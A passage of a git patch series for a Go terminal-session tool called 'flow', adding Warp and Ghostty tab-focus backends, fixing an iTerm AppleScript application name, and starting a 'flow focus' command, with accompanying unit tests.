From a2fef81b27974062dfea7c77c0e31229dc52ff54 Mon Sep 17 00:00:00 2001 From: ishaankalra Date: Thu, 6 Aug 2026 10:59:49 +0530 Subject: [PATCH 1/5] fix(spawner): dispatch FocusSession per backend; add Warp + Ghostty MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit spawner.FocusSession handled Zellij/Kitty/Terminal and sent everything else to iTerm2 via `default:`. Warp and Ghostty have Backend constants and fully-implemented SpawnTab paths, so both silently drove iTerm2's AppleScript dictionary — raising an osascript error on machines without iTerm2, or focusing an unrelated iTerm2 tab that happened to match the tty. Neither package implemented FocusSession at all. - warp: activates the app, always reports a miss. Warp exposes no AppleScript dictionary, CLI, or IPC socket, so selecting a specific tab is impossible. Returning (false, nil) keeps the caller's "switch to that tab manually" guidance; claiming a focus would be a lie. - ghostty: real tty-matching, but version-gated. The `tty` property on Ghostty's terminal class only exists on the 1.4.0 line (ghostty-org/ghostty#11922, closing #11592) and is absent from v1.3.1 and earlier, where the script errors instead of returning empty. So it probes and degrades to activate-and-miss. Uses Ghostty's `terminals` collection and `focus` command — not iTerm2's `sessions` or a `selected` property, which are read-only and would no-op. - spawner: every backend now dispatches explicitly; unknown backends return a clean miss so a new Backend constant can't silently inherit the wrong implementation again. Also fixes a separate pre-existing bug: iterm.focusByTTY said `tell application "iTerm2"`, which macOS rejects with -1728 ("Can't get application") — the bundle registers as "iTerm". SpawnTab always had it right, so focus-by-tty could never have succeeded on iTerm2. Verified against a live session: "iTerm2" throws -1728, "iTerm" returns cleanly. A regression test now pins both scripts to the same name. Co-Authored-By: Claude Opus 5 (1M context) --- internal/ghostty/ghostty.go | 157 +++++++++++++++++++++++ internal/ghostty/ghostty_test.go | 205 +++++++++++++++++++++++++++++++ internal/iterm/iterm.go | 8 +- internal/iterm/iterm_test.go | 56 ++++++++- internal/spawner/spawner.go | 27 +++- internal/spawner/spawner_test.go | 95 +++++++++++++- internal/warp/warp.go | 42 +++++++ internal/warp/warp_test.go | 91 ++++++++++++-- 8 files changed, 658 insertions(+), 23 deletions(-) diff --git a/internal/ghostty/ghostty.go b/internal/ghostty/ghostty.go index 516d6385..5f904f29 100644 --- a/internal/ghostty/ghostty.go +++ b/internal/ghostty/ghostty.go @@ -18,6 +18,7 @@ package ghostty import ( "fmt" "os/exec" + "regexp" "sort" "strings" ) @@ -76,6 +77,162 @@ end tell return Runner([]string{"-e", script}) } +// RunnerOutput executes osascript and returns stdout. Separate from +// Runner so FocusSession can read the script's match/miss verdict while +// existing SpawnTab tests keep mocking Runner alone. Mirrors +// iterm.RunnerOutput. +var RunnerOutput = func(args []string) ([]byte, error) { + return exec.Command("osascript", args...).Output() +} + +// PSRunner returns the output of `ps -axo pid,tty,command`. Overridable +// for tests. Mirrors iterm.PSRunner / terminal.PSRunner. +var PSRunner = func() ([]byte, error) { + return exec.Command("ps", "-axo", "pid,tty,command").Output() +} + +// ActivateApp foregrounds Ghostty. Used as the degraded fallback when +// tty-matching isn't available (see FocusSession). +var ActivateApp = func() error { + cmd := exec.Command("open", "-a", "Ghostty") + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("open -a Ghostty failed: %v: %s", err, string(out)) + } + return nil +} + +// FocusSession tries to focus the Ghostty terminal whose underlying +// process is `binary` running with `--session-id ` or +// `--resume `. Returns (true, nil) on focus, (false, nil) +// when no matching terminal was found OR when the running Ghostty is +// too old to support the lookup, and (false, err) only on a ps failure. +// +// Version gate — the reason this probes instead of just running the +// script: Ghostty's `terminal` class only gained `tty` (and `pid`) +// properties in the 1.4.0 development line +// (ghostty-org/ghostty#11922, closing #11592). Every release up to and +// including v1.3.1 exposes just `id`, `name`, and `working directory` +// on a terminal, with no way to correlate a terminal to a process. On +// those versions the tty-matching script raises an AppleScript error +// rather than returning empty, so we treat any script error as "this +// Ghostty can't do it" and degrade instead of surfacing a fault. +// +// The degraded path activates Ghostty and reports a miss — the same +// contract internal/warp uses, and for the same reason: the caller's +// (false, nil) fallback prints "switch to that tab manually", which is +// honest, whereas claiming a focus that didn't happen is not. We +// deliberately do NOT fall back to matching `working directory`, the +// only other correlating property available on old versions: flow +// routinely opens several sessions in the same repo, so that match is +// ambiguous by construction and would focus an arbitrary sibling tab. +// +// Two Ghostty API shapes differ from iTerm2 and are easy to get wrong: +// its per-tab objects are `terminals` (not `sessions`), and `focus` is +// a command taking a terminal specifier — `selected` and `index` are +// read-only, so `set selected to true` silently fails. +func FocusSession(sessionID, binary string) (bool, error) { + if sessionID == "" { + return false, nil + } + tty, err := ttyForHarnessSession(sessionID, binary) + if err != nil { + return false, err + } + if tty == "" { + return false, nil + } + + focused, scriptErr := focusByTTY(tty) + if scriptErr != nil { + // Old Ghostty (no tty property) lands here. Degrade rather + // than reporting a backend fault. + _ = ActivateApp() + return false, nil + } + if !focused { + return false, nil + } + return true, nil +} + +// sessionUUIDRowRe matches a `ps` line carrying a session UUID via +// `--session-id ` or `--resume `. Paired with a binary-name +// check by ttyForHarnessSession. Duplicated from the sibling backends +// to avoid cross-package coupling, per the package convention. +var sessionUUIDRowRe = regexp.MustCompile( + `(?:--session-id|--resume)[ =]([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-4[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})`, +) + +// ttyForHarnessSession returns the controlling tty (e.g. +// "/dev/ttys012") of the process matching `binary` and carrying the +// given session UUID in its argv, or "" if no such process exists. +func ttyForHarnessSession(sessionID, binary string) (string, error) { + out, err := PSRunner() + if err != nil { + return "", fmt.Errorf("ps: %w", err) + } + needle := strings.ToLower(sessionID) + for _, line := range strings.Split(string(out), "\n") { + if !strings.Contains(line, binary) { + continue + } + matches := sessionUUIDRowRe.FindStringSubmatch(line) + if len(matches) < 2 { + continue + } + if strings.ToLower(matches[1]) != needle { + continue + } + // `ps -axo pid,tty,command` columns: pid, tty, command. + fields := strings.Fields(line) + if len(fields) < 3 { + continue + } + tty := fields[1] + if tty == "??" || tty == "?" || tty == "" { + continue + } + if !strings.HasPrefix(tty, "/dev/") { + tty = "/dev/" + tty + } + return tty, nil + } + return "", nil +} + +// focusByTTY walks Ghostty's window → tab → terminal object graph +// looking for a terminal whose `tty` matches, and focuses it. Writes +// "ok" on match and "miss" otherwise so we distinguish at the Go level +// rather than via osascript's exit code. +// +// On Ghostty ≤ v1.3.1 the `tty of trm` reference is invalid and +// osascript exits non-zero; FocusSession maps that error to the +// degraded path. +func focusByTTY(tty string) (bool, error) { + safeTTY := escapeAppleScriptString(tty) + script := fmt.Sprintf(`tell application "Ghostty" + repeat with w in windows + repeat with t in tabs of w + repeat with trm in terminals of t + if tty of trm is "%s" then + activate + focus trm + return "ok" + end if + end repeat + end repeat + end repeat + return "miss" +end tell +`, safeTTY) + out, err := RunnerOutput([]string{"-e", script}) + if err != nil { + return false, fmt.Errorf("osascript: %w", err) + } + return strings.TrimSpace(string(out)) == "ok", nil +} + // ShellQuote wraps s in single quotes with proper escaping. func ShellQuote(s string) string { return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'" diff --git a/internal/ghostty/ghostty_test.go b/internal/ghostty/ghostty_test.go index 048d6712..18eefc87 100644 --- a/internal/ghostty/ghostty_test.go +++ b/internal/ghostty/ghostty_test.go @@ -94,3 +94,208 @@ func TestShellQuote(t *testing.T) { } } } + +// ghostttyFocusStubs wires the three mockable vars FocusSession touches +// and records what each was asked to do. +type ghosttyFocusStubs struct { + psOut string + psErr error + scriptOut string + scriptErr error + scripts []string + activations int +} + +func stubFocus(t *testing.T, s *ghosttyFocusStubs) { + t.Helper() + + oldPS := PSRunner + PSRunner = func() ([]byte, error) { + if s.psErr != nil { + return nil, s.psErr + } + return []byte(s.psOut), nil + } + t.Cleanup(func() { PSRunner = oldPS }) + + oldRO := RunnerOutput + RunnerOutput = func(args []string) ([]byte, error) { + if len(args) >= 2 { + s.scripts = append(s.scripts, args[1]) + } + if s.scriptErr != nil { + return nil, s.scriptErr + } + return []byte(s.scriptOut), nil + } + t.Cleanup(func() { RunnerOutput = oldRO }) + + oldAct := ActivateApp + ActivateApp = func() error { + s.activations++ + return nil + } + t.Cleanup(func() { ActivateApp = oldAct }) +} + +const focusUUID = "11111111-2222-4333-8444-555555555555" + +// TestFocusSessionMatchesAndFocuses is the happy path on Ghostty >= +// 1.4.0: ps maps the session UUID to a tty and the AppleScript reports +// a match. +func TestFocusSessionMatchesAndFocuses(t *testing.T) { + s := &ghosttyFocusStubs{ + psOut: " 501 ttys012 claude --resume " + focusUUID + "\n", + scriptOut: "ok\n", + } + stubFocus(t, s) + + focused, err := FocusSession(focusUUID, "claude") + if err != nil { + t.Fatalf("FocusSession: %v", err) + } + if !focused { + t.Fatal("expected a focus") + } + if len(s.scripts) != 1 { + t.Fatalf("expected 1 script, got %d", len(s.scripts)) + } + // Ghostty's per-tab objects are `terminals` (not iTerm2's + // `sessions`), and `focus` is a command — `selected`/`index` are + // read-only, so `set selected` would silently no-op. + script := s.scripts[0] + for _, want := range []string{`tell application "Ghostty"`, "terminals of t", "/dev/ttys012", "focus trm"} { + if !strings.Contains(script, want) { + t.Errorf("script missing %q:\n%s", want, script) + } + } + if strings.Contains(script, "sessions of t") { + t.Error("script uses iTerm2's `sessions`; Ghostty exposes `terminals`") + } + if s.activations != 0 { + t.Errorf("happy path must not use the degraded activate fallback, got %d", s.activations) + } +} + +// TestFocusSessionOldGhosttyDegrades is the version gate. Ghostty <= +// v1.3.1 has no `tty` property on its terminal class, so the script +// errors. That must degrade to activate-and-miss, NOT surface as a +// backend error. +func TestFocusSessionOldGhosttyDegrades(t *testing.T) { + s := &ghosttyFocusStubs{ + psOut: " 501 ttys012 claude --resume " + focusUUID + "\n", + scriptErr: errNoTTYProperty{}, + } + stubFocus(t, s) + + focused, err := FocusSession(focusUUID, "claude") + if err != nil { + t.Fatalf("old-Ghostty script error must not surface as an error, got %v", err) + } + if focused { + t.Error("must report a miss when the tty property is unavailable") + } + if s.activations != 1 { + t.Errorf("expected the degraded path to activate Ghostty once, got %d", s.activations) + } +} + +type errNoTTYProperty struct{} + +func (errNoTTYProperty) Error() string { + return `osascript: execution error: Ghostty got an error: Can't get tty of terminal 1. (-1728)` +} + +// TestFocusSessionEmptyID must not touch ps, osascript, or the app. +func TestFocusSessionEmptyID(t *testing.T) { + s := &ghosttyFocusStubs{psOut: "should not be read"} + stubFocus(t, s) + + focused, err := FocusSession("", "claude") + if err != nil || focused { + t.Fatalf("empty id: got (%v, %v); want (false, nil)", focused, err) + } + if len(s.scripts) != 0 || s.activations != 0 { + t.Error("empty id must be a pure no-op") + } +} + +// TestFocusSessionNoMatchInPS — the session isn't running under this +// harness, so there's no tty to match and no script should run. +func TestFocusSessionNoMatchInPS(t *testing.T) { + s := &ghosttyFocusStubs{psOut: " 501 ttys012 claude --resume 99999999-8888-4777-8666-555555555555\n"} + stubFocus(t, s) + + focused, err := FocusSession(focusUUID, "claude") + if err != nil || focused { + t.Fatalf("got (%v, %v); want (false, nil)", focused, err) + } + if len(s.scripts) != 0 { + t.Error("no tty match must short-circuit before osascript") + } +} + +// TestFocusSessionScriptMissReturnsFalse — Ghostty is new enough to +// answer, but no open terminal has that tty. +func TestFocusSessionScriptMissReturnsFalse(t *testing.T) { + s := &ghosttyFocusStubs{ + psOut: " 501 ttys012 claude --resume " + focusUUID + "\n", + scriptOut: "miss\n", + } + stubFocus(t, s) + + focused, err := FocusSession(focusUUID, "claude") + if err != nil || focused { + t.Fatalf("got (%v, %v); want (false, nil)", focused, err) + } + if s.activations != 0 { + t.Error("a clean miss is not the degraded path; must not activate") + } +} + +// TestFocusSessionPSError — a ps failure is a real backend fault and +// must surface, unlike the old-Ghostty script error. +func TestFocusSessionPSError(t *testing.T) { + s := &ghosttyFocusStubs{psErr: errNoTTYProperty{}} + stubFocus(t, s) + + if _, err := FocusSession(focusUUID, "claude"); err == nil { + t.Fatal("expected ps failure to surface as an error") + } +} + +// TestFocusSessionSkipsNoControllingTTY — a background session shows +// "??" for its tty and cannot be focused. +func TestFocusSessionSkipsNoControllingTTY(t *testing.T) { + s := &ghosttyFocusStubs{psOut: " 501 ?? claude --resume " + focusUUID + "\n"} + stubFocus(t, s) + + focused, err := FocusSession(focusUUID, "claude") + if err != nil || focused { + t.Fatalf("got (%v, %v); want (false, nil)", focused, err) + } + if len(s.scripts) != 0 { + t.Error("a session with no controlling tty must not reach osascript") + } +} + +// TestTTYForHarnessSessionRealPSFormat feeds a verbatim `ps -axo +// pid,tty,command` row captured from a live `flow do` session. The +// synthetic rows in the other tests are hand-written and could drift +// from what macOS actually emits — notably the two-space gap after the +// tty column and the long argv tail carrying the bootstrap prompt. +func TestTTYForHarnessSessionRealPSFormat(t *testing.T) { + const realRow = "34348 ttys002 claude --session-id 3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f You are the execution session for flow task flow-notify. --dangerously-skip-permissions\n" + + old := PSRunner + PSRunner = func() ([]byte, error) { return []byte(realRow), nil } + t.Cleanup(func() { PSRunner = old }) + + tty, err := ttyForHarnessSession("3123e5ff-01ed-4d8f-b5f2-4b75020d3f0f", "claude") + if err != nil { + t.Fatalf("ttyForHarnessSession: %v", err) + } + if tty != "/dev/ttys002" { + t.Errorf("got tty %q; want /dev/ttys002", tty) + } +} diff --git a/internal/iterm/iterm.go b/internal/iterm/iterm.go index 79626db2..a7b93023 100644 --- a/internal/iterm/iterm.go +++ b/internal/iterm/iterm.go @@ -165,7 +165,13 @@ func ttyForHarnessSession(sessionID, binary string) (string, error) { // osascript's exit code. func focusByTTY(tty string) (bool, error) { safeTTY := escapeAppleScriptString(tty) - script := fmt.Sprintf(`tell application "iTerm2" + // The application name is "iTerm", NOT "iTerm2" — the product is + // called iTerm2 but its bundle registers as "iTerm", and + // `tell application "iTerm2"` fails outright with -1728 ("Can't get + // application"). SpawnTab above has always used the correct name; + // this script did not, which meant focus-by-tty could never succeed + // on iTerm2. Keep the two in sync. + script := fmt.Sprintf(`tell application "iTerm" activate repeat with w in windows repeat with t in tabs of w diff --git a/internal/iterm/iterm_test.go b/internal/iterm/iterm_test.go index 1289b603..59fb694b 100644 --- a/internal/iterm/iterm_test.go +++ b/internal/iterm/iterm_test.go @@ -53,8 +53,11 @@ func TestFocusSessionMatchesAndFocuses(t *testing.T) { t.Fatalf("RunnerOutput called with %d args; want >=2", len(captured)) } script := captured[1] - if !strings.Contains(script, `tell application "iTerm2"`) { - t.Errorf("script does not target iTerm2: %s", script) + // "iTerm", not "iTerm2" — the bundle registers under the former and + // macOS rejects the latter with -1728. See + // TestAppleScriptAppNameIsITerm. + if !strings.Contains(script, `tell application "iTerm"`) { + t.Errorf("script does not target iTerm: %s", script) } if !strings.Contains(script, `if tty of s is "/dev/ttys012"`) { t.Errorf("script does not match /dev/ttys012: %s", script) @@ -214,3 +217,52 @@ func stubRunnerOutput(t *testing.T, fn func([]string) ([]byte, error)) { RunnerOutput = fn t.Cleanup(func() { RunnerOutput = old }) } + +// TestAppleScriptAppNameIsITerm pins the application name used by BOTH +// scripts this package emits. +// +// Regression guard: focusByTTY previously said `tell application +// "iTerm2"`, which macOS rejects with -1728 ("Can't get application") — +// the product is branded iTerm2 but its bundle registers as "iTerm". +// SpawnTab always had it right, so the mismatch went unnoticed until +// click-to-focus was wired up and never worked on iTerm2. +func TestAppleScriptAppNameIsITerm(t *testing.T) { + var spawnScript string + oldRunner := Runner + Runner = func(args []string) error { + if len(args) >= 2 { + spawnScript = args[1] + } + return nil + } + t.Cleanup(func() { Runner = oldRunner }) + + var focusScript string + oldRO := RunnerOutput + RunnerOutput = func(args []string) ([]byte, error) { + if len(args) >= 2 { + focusScript = args[1] + } + return []byte("miss"), nil + } + t.Cleanup(func() { RunnerOutput = oldRO }) + + if err := SpawnTab("title", "/tmp", "echo hi", nil); err != nil { + t.Fatalf("SpawnTab: %v", err) + } + if _, err := focusByTTY("/dev/ttys012"); err != nil { + t.Fatalf("focusByTTY: %v", err) + } + + for name, script := range map[string]string{ + "SpawnTab": spawnScript, + "focusByTTY": focusScript, + } { + if !strings.Contains(script, `tell application "iTerm"`) { + t.Errorf(`%s: missing `+"`"+`tell application "iTerm"`+"`"+`:\n%s`, name, script) + } + if strings.Contains(script, `application "iTerm2"`) { + t.Errorf(`%s: uses "iTerm2", which macOS rejects with -1728; the bundle is named "iTerm"`, name) + } + } +} diff --git a/internal/spawner/spawner.go b/internal/spawner/spawner.go index 17fd5dd7..cd470d0a 100644 --- a/internal/spawner/spawner.go +++ b/internal/spawner/spawner.go @@ -132,11 +132,26 @@ func SpawnTab(title, cwd, command string, envVars map[string]string) error { // surfacing the existing "session running elsewhere" error so the // user knows to switch manually or pass --force. // -// Backend dispatch mirrors SpawnTab: +// Backend dispatch mirrors SpawnTab — every backend is matched +// explicitly: // - Zellij: list-panes JSON match on pane_command + focus-pane-id // - Kitty: `kitty @ ls` JSON match on foreground_processes cmdline + focus-window // - Terminal.app: pid → tty via ps, then osascript walk -// - iTerm2 (default): pid → tty via ps, then osascript walk +// - iTerm2: pid → tty via ps, then osascript walk +// - Warp: activates the app, always reports a miss (no scripting surface) +// - Ghostty: activates the app, always reports a miss (no tty in its sdef) +// +// The unknown-backend case returns (false, nil) — "no matching tab" — +// rather than falling through to iTerm2. An earlier version used +// `default: iterm.FocusSession(...)`, which meant Warp and Ghostty +// (whose Backend constants exist and whose SpawnTab paths are fully +// implemented) silently drove iTerm2's AppleScript dictionary. On a +// machine without iTerm2 installed that raises an osascript error, or +// worse prompts the user to locate the application; on a machine with +// iTerm2 it could focus an unrelated iTerm2 tab that happens to match +// the tty. Dispatching every known backend explicitly and treating +// unknown ones as a miss keeps a new Backend constant from silently +// inheriting the wrong implementation again. func FocusSession(sessionID, binary string) (bool, error) { switch Detect() { case BackendZellij: @@ -145,8 +160,14 @@ func FocusSession(sessionID, binary string) (bool, error) { return kitty.FocusSession(sessionID, binary) case BackendTerminal: return terminal.FocusSession(sessionID, binary) - default: + case BackendWarp: + return warp.FocusSession(sessionID, binary) + case BackendGhostty: + return ghostty.FocusSession(sessionID, binary) + case BackendITerm: return iterm.FocusSession(sessionID, binary) + default: + return false, nil } } diff --git a/internal/spawner/spawner_test.go b/internal/spawner/spawner_test.go index b05dab96..f3f664f7 100644 --- a/internal/spawner/spawner_test.go +++ b/internal/spawner/spawner_test.go @@ -341,7 +341,7 @@ func TestFocusSessionRoutesToITerm(t *testing.T) { if !*flags.iterm { t.Error("expected iterm focus path to be called") } - if *flags.terminal || *flags.zellij || *flags.kitty { + if *flags.terminal || *flags.zellij || *flags.kitty || *flags.warp || *flags.ghostty { t.Error("only iterm focus path should be called") } } @@ -359,7 +359,7 @@ func TestFocusSessionRoutesToTerminal(t *testing.T) { if !*flags.terminal { t.Error("expected terminal focus path to be called") } - if *flags.iterm || *flags.zellij || *flags.kitty { + if *flags.iterm || *flags.zellij || *flags.kitty || *flags.warp || *flags.ghostty { t.Error("only terminal focus path should be called") } } @@ -377,7 +377,7 @@ func TestFocusSessionRoutesToZellij(t *testing.T) { if !*flags.zellij { t.Error("expected zellij focus path to be called") } - if *flags.iterm || *flags.terminal || *flags.kitty { + if *flags.iterm || *flags.terminal || *flags.kitty || *flags.warp || *flags.ghostty { t.Error("only zellij focus path should be called") } } @@ -397,7 +397,7 @@ func TestFocusSessionRoutesToKitty(t *testing.T) { if !*flags.kitty { t.Error("expected kitty focus path to be called") } - if *flags.iterm || *flags.terminal || *flags.zellij { + if *flags.iterm || *flags.terminal || *flags.zellij || *flags.warp || *flags.ghostty { t.Error("only kitty focus path should be called") } } @@ -406,7 +406,7 @@ func TestFocusSessionRoutesToKitty(t *testing.T) { // routing tests can assert which backend FocusSession dispatched to // without an awkward multi-return-value tuple. type focusFlags struct { - iterm, terminal, zellij, kitty *bool + iterm, terminal, zellij, kitty, warp, ghostty *bool } // stubAllFocusBackends replaces the per-backend PSRunner / RunnerOutput @@ -414,7 +414,7 @@ type focusFlags struct { // path runs. Restores originals on cleanup. func stubAllFocusBackends(t *testing.T) focusFlags { t.Helper() - var itermCalled, terminalCalled, zellijCalled, kittyCalled bool + var itermCalled, terminalCalled, zellijCalled, kittyCalled, warpCalled, ghosttyCalled bool oldITermPS := iterm.PSRunner iterm.PSRunner = func() ([]byte, error) { @@ -444,11 +444,94 @@ func stubAllFocusBackends(t *testing.T) focusFlags { } t.Cleanup(func() { kitty.RunnerOutput = oldKittyRO }) + // Warp has no scriptable focus surface, so its FocusSession only + // activates the app — ActivateApp is the observable call. + oldWarpActivate := warp.ActivateApp + warp.ActivateApp = func() error { + warpCalled = true + return nil + } + t.Cleanup(func() { warp.ActivateApp = oldWarpActivate }) + + oldGhosttyPS := ghostty.PSRunner + ghostty.PSRunner = func() ([]byte, error) { + ghosttyCalled = true + return []byte(""), nil // empty ps output -> no tty -> (false, nil) + } + t.Cleanup(func() { ghostty.PSRunner = oldGhosttyPS }) + return focusFlags{ iterm: &itermCalled, terminal: &terminalCalled, zellij: &zellijCalled, kitty: &kittyCalled, + warp: &warpCalled, + ghostty: &ghosttyCalled, + } +} + +// TestFocusSessionRoutesToWarp — Override=Warp must reach the warp +// backend, NOT iTerm2. Before the explicit-dispatch fix, spawner's +// `default:` arm sent Warp (and Ghostty) into iterm.FocusSession, which +// drives iTerm2's AppleScript dictionary against a machine that may not +// even have iTerm2 installed. +func TestFocusSessionRoutesToWarp(t *testing.T) { + Override = BackendWarp + t.Cleanup(func() { Override = "" }) + + flags := stubAllFocusBackends(t) + focused, err := FocusSession("11111111-2222-4333-8444-555555555555", "claude") + if err != nil { + t.Fatalf("FocusSession: %v", err) + } + if focused { + t.Error("warp cannot select a specific tab; must report a miss") + } + if !*flags.warp { + t.Error("expected warp focus path to be called") + } + if *flags.iterm || *flags.terminal || *flags.zellij || *flags.kitty || *flags.ghostty { + t.Error("only warp focus path should be called") + } +} + +// TestFocusSessionRoutesToGhostty — Override=Ghostty must reach the +// ghostty backend rather than falling through to iTerm2. +func TestFocusSessionRoutesToGhostty(t *testing.T) { + Override = BackendGhostty + t.Cleanup(func() { Override = "" }) + + flags := stubAllFocusBackends(t) + if _, err := FocusSession("11111111-2222-4333-8444-555555555555", "claude"); err != nil { + t.Fatalf("FocusSession: %v", err) + } + if !*flags.ghostty { + t.Error("expected ghostty focus path to be called") + } + if *flags.iterm || *flags.terminal || *flags.zellij || *flags.kitty || *flags.warp { + t.Error("only ghostty focus path should be called") + } +} + +// TestFocusSessionUnknownBackendIsMiss pins the replacement for the old +// `default: iterm.FocusSession(...)` arm. A Backend constant that +// FocusSession doesn't know about must report a clean miss rather than +// silently inheriting iTerm2's implementation — that inheritance is +// exactly how Warp and Ghostty ended up driving the wrong terminal. +func TestFocusSessionUnknownBackendIsMiss(t *testing.T) { + Override = Backend("some-future-terminal") + t.Cleanup(func() { Override = "" }) + + flags := stubAllFocusBackends(t) + focused, err := FocusSession("11111111-2222-4333-8444-555555555555", "claude") + if err != nil { + t.Fatalf("FocusSession: %v", err) + } + if focused { + t.Error("unknown backend must report a miss") + } + if *flags.iterm || *flags.terminal || *flags.zellij || *flags.kitty || *flags.warp || *flags.ghostty { + t.Error("unknown backend must not dispatch to any backend") } } diff --git a/internal/warp/warp.go b/internal/warp/warp.go index 27d68831..d049e504 100644 --- a/internal/warp/warp.go +++ b/internal/warp/warp.go @@ -121,6 +121,48 @@ func SpawnTab(title, cwd, command string, envVars map[string]string) error { return nil } +// ActivateApp foregrounds Warp via `open -a Warp`. Tests override this +// to observe FocusSession's activation without launching Warp. +var ActivateApp = func() error { + cmd := exec.Command("open", "-a", "Warp") + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("open -a Warp failed: %v: %s", err, string(out)) + } + return nil +} + +// FocusSession foregrounds Warp but always reports a miss. +// +// This is a deliberate half-measure, not an oversight. Every other +// backend's FocusSession works by matching a tab/pane to the harness +// process's controlling tty — iTerm2 and Terminal.app walk their +// AppleScript object model comparing a `tty` property, kitty matches +// `kitty @ ls` JSON, zellij matches `list-panes` output. Warp exposes +// none of that: no AppleScript dictionary, no CLI, no IPC socket (see +// the package doc above). There is no supported way to enumerate Warp's +// tabs, let alone select one by tty. +// +// So the most flow can honestly do is foreground the app and leave the +// user one manual tab-switch away. Returning (false, nil) rather than +// (true, nil) is the important part of the contract: per the +// spawner.FocusSession doc, (false, nil) means "fall through", so +// callers still print their "session running elsewhere — switch to +// that tab" guidance. Claiming (true, nil) would suppress that hint +// and assert a tab switch that never happened, which is actively +// misleading when several Warp tabs are open. +// +// An activation failure is also reported as (false, nil) rather than an +// error: the caller's fallback path is identical either way, and a +// failed `open` is not worth surfacing as a backend fault. +func FocusSession(sessionID, binary string) (bool, error) { + if sessionID == "" { + return false, nil + } + _ = ActivateApp() + return false, nil +} + // ShellQuote wraps s in single quotes with proper escaping. Identical // to iterm.ShellQuote / terminal.ShellQuote / zellij.ShellQuote. func ShellQuote(s string) string { diff --git a/internal/warp/warp_test.go b/internal/warp/warp_test.go index 7bee66c3..62cf1b02 100644 --- a/internal/warp/warp_test.go +++ b/internal/warp/warp_test.go @@ -10,16 +10,16 @@ import ( // (Runner, OpenURL, WriteScript, removeScript) so tests can assert on // exactly what SpawnTab did. Restore originals on cleanup. type warpStubs struct { - writeCalls []string // bodies passed to WriteScript - openCalls []string // URIs passed to OpenURL - runnerCalls [][]string - removeCalls []string - scriptPath string // returned by WriteScript stub - writeErr error - openErr error - runnerErr error - removeErr error - t *testing.T + writeCalls []string // bodies passed to WriteScript + openCalls []string // URIs passed to OpenURL + runnerCalls [][]string + removeCalls []string + scriptPath string // returned by WriteScript stub + writeErr error + openErr error + runnerErr error + removeErr error + t *testing.T } func newWarpStubs(t *testing.T) *warpStubs { @@ -221,7 +221,7 @@ func TestAppleScriptHasWasRunningBranch(t *testing.T) { "delay 1.8", "end if", `keystroke "bash `, - "delay 0.5", // settle delay between typed text and CR — load-bearing + "delay 0.5", // settle delay between typed text and CR — load-bearing `keystroke (ASCII character 13)`, // PTY-level CR — bypasses Warp's synthetic-Return filter } { if !strings.Contains(script, want) { @@ -359,6 +359,75 @@ func TestShellQuote(t *testing.T) { } } +// stubActivateApp replaces ActivateApp with a stub recording call count +// and returning err. Restores the original on cleanup. +func stubActivateApp(t *testing.T, err error) *int { + t.Helper() + calls := 0 + old := ActivateApp + ActivateApp = func() error { + calls++ + return err + } + t.Cleanup(func() { ActivateApp = old }) + return &calls +} + +// TestFocusSessionActivatesButReportsMiss is the core contract: Warp +// can be foregrounded but its tabs cannot be enumerated or selected, so +// FocusSession must activate the app AND still return false so callers +// fall through to their "switch to that tab manually" guidance. +func TestFocusSessionActivatesButReportsMiss(t *testing.T) { + calls := stubActivateApp(t, nil) + + focused, err := FocusSession("11111111-2222-4333-8444-555555555555", "claude") + if err != nil { + t.Fatalf("FocusSession: unexpected error %v", err) + } + if focused { + t.Error("FocusSession must report a miss — Warp cannot select a specific tab") + } + if *calls != 1 { + t.Errorf("expected Warp to be activated once, got %d calls", *calls) + } +} + +// TestFocusSessionEmptyID mirrors the iterm/terminal contract: an empty +// session ID is a no-op miss that must not touch the terminal at all. +func TestFocusSessionEmptyID(t *testing.T) { + calls := stubActivateApp(t, nil) + + focused, err := FocusSession("", "claude") + if err != nil { + t.Fatalf("FocusSession: unexpected error %v", err) + } + if focused { + t.Error("empty session ID must not report a focus") + } + if *calls != 0 { + t.Errorf("empty session ID must not activate Warp, got %d calls", *calls) + } +} + +// TestFocusSessionActivateErrorStillMiss asserts a failed activation is +// swallowed rather than surfaced as a backend error. The caller's +// fallback path is identical either way, so a failed `open` is not +// worth failing the whole focus attempt over. +func TestFocusSessionActivateErrorStillMiss(t *testing.T) { + calls := stubActivateApp(t, errors.New("open: application not found")) + + focused, err := FocusSession("11111111-2222-4333-8444-555555555555", "claude") + if err != nil { + t.Fatalf("activation failure must not surface as an error, got %v", err) + } + if focused { + t.Error("activation failure must report a miss") + } + if *calls != 1 { + t.Errorf("expected one activation attempt, got %d", *calls) + } +} + // TestEscapeAppleScriptString covers the embedded helper directly so // regressions in the script-path escape don't slip through. func TestEscapeAppleScriptString(t *testing.T) { From 2be7db15ebada59046b266c62fb35023a84b33e8 Mon Sep 17 00:00:00 2001 From: ishaankalra Date: Thu, 6 Aug 2026 10:59:58 +0530 Subject: [PATCH 2/5] feat(focus): add `flow focus ` MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit spawner.FocusSession was reachable only from inside `flow do`'s live-session guard (do.go:217) — there was no way to focus a session by ID from outside a flow session. The Notification hook needs exactly that, since a banner's click action runs a shell command. Accepts either a session UUID (what the hook payload carries) or a task slug (what a human would type); slugs are tried only when the argument isn't UUID-shaped, so a UUID-like slug can't shadow a real session. Resolves the harness from the task so sessions opened under codex/gemini filter the process table by the right binary name rather than a hardcoded "claude". Archived tasks resolve too — an archived task can still have a live tab worth reaching. Exit codes follow the repo convention: 0 focused, 1 miss or runtime error, 2 usage. A miss is 1 rather than 0 so callers can branch on whether the focus actually happened. Co-Authored-By: Claude Opus 5 (1M context) --- internal/app/app.go | 3 + internal/app/focus.go | 164 +++++++++++++++++++++++++++++++++++++ internal/app/focus_test.go | 148 +++++++++++++++++++++++++++++++++ 3 files changed, 315 insertions(+) create mode 100644 internal/app/focus.go create mode 100644 internal/app/focus_test.go diff --git a/internal/app/app.go b/internal/app/app.go index 0bc4033b..531710dd 100644 --- a/internal/app/app.go +++ b/internal/app/app.go @@ -41,6 +41,8 @@ func Run(args []string) int { return cmdAdd(rest) case "do": return cmdDo(rest) + case "focus": + return cmdFocus(rest) case "__auto-exec": // Hidden: the detached supervisor entry point for `flow do --auto`. 